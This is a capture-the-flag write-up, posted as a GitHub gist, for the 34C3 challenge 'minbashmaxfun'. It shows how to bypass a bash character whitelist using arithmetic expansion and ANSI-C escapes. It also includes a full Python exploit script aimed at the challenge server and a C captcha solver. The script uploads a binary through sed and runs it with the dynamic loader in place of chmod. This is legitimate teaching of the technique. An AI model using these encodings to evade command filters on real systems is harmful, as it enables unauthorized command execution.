Skip to content

Instantly share code, notes, and snippets.

@lava
Last active January 11, 2018 20:56
Show Gist options
  • Save lava/c879daef1b8853245a16f4b0b5b7f0a8 to your computer and use it in GitHub Desktop.
Save lava/c879daef1b8853245a16f4b0b5b7f0a8 to your computer and use it in GitHub Desktop.
34c3 writeup: minbashmaxfun

Writeup: minbashmaxfun

by lava & ntq

+=============================================================+
|                MINIMAL BASH - MAXIMAL FUN                   | 
|                                                             | 
|            Who needs regular characters anyway?             |
|                                                             | 
|         Supported characters: $ ( ) # ! { } < \ ' ,         |
|                                                             |
|         Supported binaries: i'm sure there is some          |
|                                                             |
|               Iz also open-source: 'source'                 |
|                                                             |
+=============================================================+

In this challenge, we're supposed to get the flag using only commands consisting of the 11 white-listed characters shown above.

The source command gives a bit more information about the environment we're running in:

                                                                     .---. 
  Source iz sumthing like dis:                                      /  .  \ 
                                                                   |\_/|   | 
                                                                   |   |  /| 
  .----------------------------------------------------------------------' | 
 /  .-.                                                                    | 
|  /   \                                                                   | 
| |\_.  |     [....]                                                       | 
|\|  | /|                                                                  | 
| `---' |     /* these 11 chars should be more than enough  */             | 
|       |     re = regcomp(&regex, "[^${}!#()<'\\,]", 0);                  |
|       |                                                                  |
|       |     [....]                                                       |
|       |                                                                  |
|       |     if (REG_NOMATCH == regexec(&regex, input, 0, NULL, 0))  {    |
|       |                                                                  |
|       |         [....]                                                   |
|       |                                                                  | 
|       |         fclose(stdin);                                           | 
|       |         execl("/bin/bash", "/bin/bash", "-c", input, NULL);      | 
|       |                                                                  | 
|       |         [....]                                                   | 
|       |     }                                                            | 
|       |                                                                  | 
|       |     [....]                                                       | 
|       |                                                                  / 
|       |-----------------------------------------------------------------' 
\       | 
 \     /
  `---' 

Cross-checking the supported characters with the bash manual,

  • We can access the special parameters $# (number of positional arguments in decimal) and $$ (pid of the shell)
  • We can get command substitution $(cmd)
  • We can get arithmetic expansion $((expression))
  • The < could be used for input redirection, but there is no obvious way to provide a filename. Same goes for the special $(< file) to pipe the content of a file to the standard input.
  • Shell parameter expansion ${parameter} and some of its various special cases, in particular downcasing ${parameter,,pattern}, leading substring deletion ${parameter#word}, parameter string length ${#parameter} and indirect expansion ${!word}
  • ANSI-C quoting $'...'
  • In retrospect, we missed the brace expansion syntax {word,word,word}, which would have made the second part of the challenge much easier. Luckily, it isn't strictly required.

Playing around with this, we can produce some basic expressions:

  • $# is always 0
  • $(($#)) is still 0
  • $((!$#)) gets us a 1 (! is a logical not)
  • $((!$#<<!$#)) gives 2 (<< is the rotate-left operator)
  • etc.

We can get all powers of two by chaining the rotate-left operator. With some planning we could also get more numbers by using $$ instead of $#, since we can manipulate that to be any number we want. However, it turns out that 0, 1 and 2 are all that we need, because we can just switch to binary with the syntax $((base#number)). With this, we can encode any number, e.g.

108 -> 0b1101100 -> `$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))$(($#))))`

However, generating numbers isn't really that useful in itself, what we actually want is a way to generate ASCII characters. Luckily, both single-quote and backslash are permitted, so we should be able to use the ANSI-C escaping feature

$'\154\163'  ->  ls

There's one problem, the arithmetic expansion is not evaluated inside the single quotes. So we need two evaluation passes, one to generate the ansi-escaped string and one to generate the command from that. Passing the result of the first evaluation to bash would do the trick.

${#}  -> 0
${!#} -> bash

Nice: With ${!#} we indirectly reference the special variable called # to get to $0 which holds the name of the current shell, i.e. bash. Since we can't use spaces to denote where the command ends and the argument start, we instead pass it as a here-string using the <<< syntax:

bash$ ${!#}<<<\$\'$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))$(($#))))\'
bin
boot
[...]
flag
get_flag
[...]
usr
var

That worked, we can see that we're currently in the root directory and there is a file called get_flag in there as well. We're finished here, let's just execute /get_flag to get the flag:

bash$ ${!##}<<<\$\'\\$(($((!$#<<!$#))#$((!$#))$((!$#))$((!$#))$(($#))$(($#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))$((!$#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))$(($#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$(($#))$((!$#))$(($#))$(($#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))$((!$#))$(($#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))$(($#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))$((!$#))$((!$#))))\'
Please solve this little captcha:
1459806305 + 1521201784 + 3028801422 + 270568894 + 1250150916
0
7530529321 != 0 :(

...damn. Ok, we need more. For a start, the ability to insert spaces would be nice, as our current string generation method kinda breaks it:

$ $'ls\40-l'
ls -l: command not found

An interesting observation is that command evaluation has higher priority than the here-string, so we can actually nest commands:

$ bash<<<$(bash<<<ls)
bash: line 1: bin: command not found
bash: line 2: boot: command not found
bash: line 3: cdrom: command not found
[...]

The immediate idea is now bash<<<$(cat<<<'ls -l'), which would work nicely if we could just type out 'cat'. The problem is that we can't, because we're missing one level of evaluation: The encoded "cat" is on the left-hand side of the here-string, so it only gets evaluated once and the shell is looking for a command called $'\143\141\164', which doesn't exist.

With some careful re-arranging, we can get around this. Instead of the naive solution above, we use the form

bash<<<\$\'encode("cat")\<\<\<encode("ls -l")\'

where encode(x) stands for the $((#...))-encoding of the string used above.

With this, we can finally get a look around the system. It's an Ubuntu 17.10 running in a docker container. There's not too much in /usr/bin, but we notably do have base64, sed and awk. Sadly, though, all commands that could be used to generate files are missing from the system, in particular mkpipe, mkfifo, tee etc.

Even sadder, the escaping above is not powerful enough to support i/o redirection, i.e. '|', '<' or '>', which makes it really annoying to read the output of get_flag and write back the result.

It would probably be possible to fix the encoding to get arbitrary bash commands, and to write a bash script that solves the captcha. However, at this point the end of the contest was only 90 minutes away, so we decided that we probably wouldn't finish in time if we attempted to do that, and that we should just try to complete the challenge with the tools we had. So, let's get dirty:

First, we made a simple C program that runs '/get_flag', solves the captcha, and writes the result to a fixed file /tmp/c. Luckily, the target environment is just ubuntu, so we can easily compile locally on an ubuntu host and upload the finished binary unmodified. This program gets base64-encoded locally.

To write it to the remote system, we use the fact that all our commands in the same session are executed with the same filesystem, so modifications to files persist across commands within a session.

Since we still can't easily write to files, we abuse sed's inplace editing feature by copying /etc/debian_version to a temporary file /tmp/a and replacing the known content with a --marker using sed -i s,stretch/sid,-,. Now we can iteratively build up the target file by splitting it into small chunks and abusing sed again to append to the end of the file:

sed -i /tmp/a s,-,CHUNK-,

Applying base64 also turns out to be problematic, as it doesn't have a parameter to specify the output file. However, we can use the same technique to create an extractor script /tmp/decoder. Since using spaces in the extractor script causes bash's token splitting to feed incorrect arguments to sed, they are replaced by tabs:

sed -i s,stretch/sid,base64\t-d\t/tmp/a\t>/tmp/b, /tmp/decoder

(Again, in retrospect we could have coded the whole solution in bash and written it to a file with the same technique, but we only realized at the very end that this step was necessary at all because base64 doesnt have an option to specify the output filename)

One final problem is that we don't have chmod on the system, so even after decoding our prepared binary we cannot simply execute it. However, with one final trick we are now at the end:

$ /lib64/ld-linux-x86-64.so.2 /tmp/b
$ cat /tmp/c
34C3_HAHAHA_you_bashed_it_You_truly_are_a_god_of_BASH

Flag captured, 14 minutes left on the clock :)

Complete solution, with some manual steps omitted:

#!/usr/bin/python3

import socket
import base64

bash = '${!##}'
herestring = "<<<"
zero = '$(($#))'
one = '$((!$#))'
two = '$((!$#<<!$#))'    

BUFFER_SIZE=2048    

def binary(number):
    return "$(({:s}#{:b}))".format(two,number).replace('1',one).replace('0',zero)    

def encode_char(char):
    return '\\$\\\'\\\\' + binary(int(oct(ord(char))[2:])) + "\\\'"    

def encode_string(s):
    return "".join([encode_char(c) for c in s])    

def encode_command(cmd):
    return (bash + herestring + "\\$\\("
        + encode_string("cat") + "\\<\\<\\<"
        + encode_string(cmd) + "\\)")    

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('35.198.107.77', 1337))    

data = open("solver_encoded").read()    

SAFE_LINE_LENGTH=500    

def execute(cmd):
    print(cmd)
    resp = ""
    encoded_cmd = encode_command(cmd)
    print(encoded_cmd)
    s.send((encode_command(cmd) + "\n").encode())
    while '>' not in resp:
        resp = s.recv(BUFFER_SIZE).decode()
        print(resp)    

execute("cp /etc/debian_version /tmp/a")
execute("cp /etc/debian_version /tmp/decoder")
execute("sed -i s,stretch/sid,-, /tmp/a")    

pos = 0
while pos < len(data):
  line = data[pos:pos+SAFE_LINE_LENGTH]
  pos += SAFE_LINE_LENGTH    

  cmd = "sed -i /-/{}/ /tmp/a".format(line)
  execute(cmd)    

execute("sed -i s,stretch/sid,base64\t-d\t/tmp/a\t>/tmp/b, /tmp/decoder")
execute("bash /tmp/decoder")
execute("/lib64/ld-linux-x86-64.so.2 /tmp/b")
execute("cat /tmp/c")    

s.close()    

And the solver:

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <string.h>

int main() {
    fflush(stdout);

    int ipipefds[2]; // [read end, write end]
    pipe(ipipefds);

    int opipefds[2];
    pipe(opipefds);

    pid_t pid = fork();
    if (pid == -1) {
	    fprintf(stderr, "%s\n", strerror(errno));
	    return 1;
    }
    else if (pid == 0) { // child
	    if (-1 == dup2(ipipefds[0], fileno(stdin))) { perror("cannot redirect stdout"); return 255; }
	    if (-1 == dup2(opipefds[1], fileno(stdout))) { perror("cannot redirect stdout"); return 255; }
	    execl("/get_flag", "/get_flag", NULL);
    } else { // parent
	    FILE* cread = fdopen(opipefds[0], "r");
	    FILE* cwrite = fdopen(ipipefds[1], "w");

	    FILE* output = fopen("/tmp/c", "w");

	    char io[256] = {0};
	    fgets(io, 255, cread); // line 1

	    printf("reading...(first line was: %s)\n", io);
	    fflush(stdout);

	    unsigned long long i1, i2, i3, i4, i5;
	    fgets(io, 255, cread); // line 1
	    sscanf(io, "%llu + %llu + %llu + %llu + %llu\n", &i1, &i2, &i3, &i4, &i5);

	    printf("%llu %llu", i1, i2);
	    fflush(stdout);

	    unsigned long long result = i1 + i2 + i3 + i4 + i5;
	    fprintf(cwrite, "%llu\n", result);
	    fflush(cwrite);

	    while (fgets(io, 256, cread) != NULL) {
		    fprintf(output, "%s\n", io);
		    printf("%s\n", io);
		    fflush(output);
		    fflush(stdout);
	    }

	    fclose(output);

	    int status;
	    waitpid(pid, &status, 0);
	    if (!WIFEXITED(status)) {
		    printf("abnormal exit\n");
	    }
    }
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment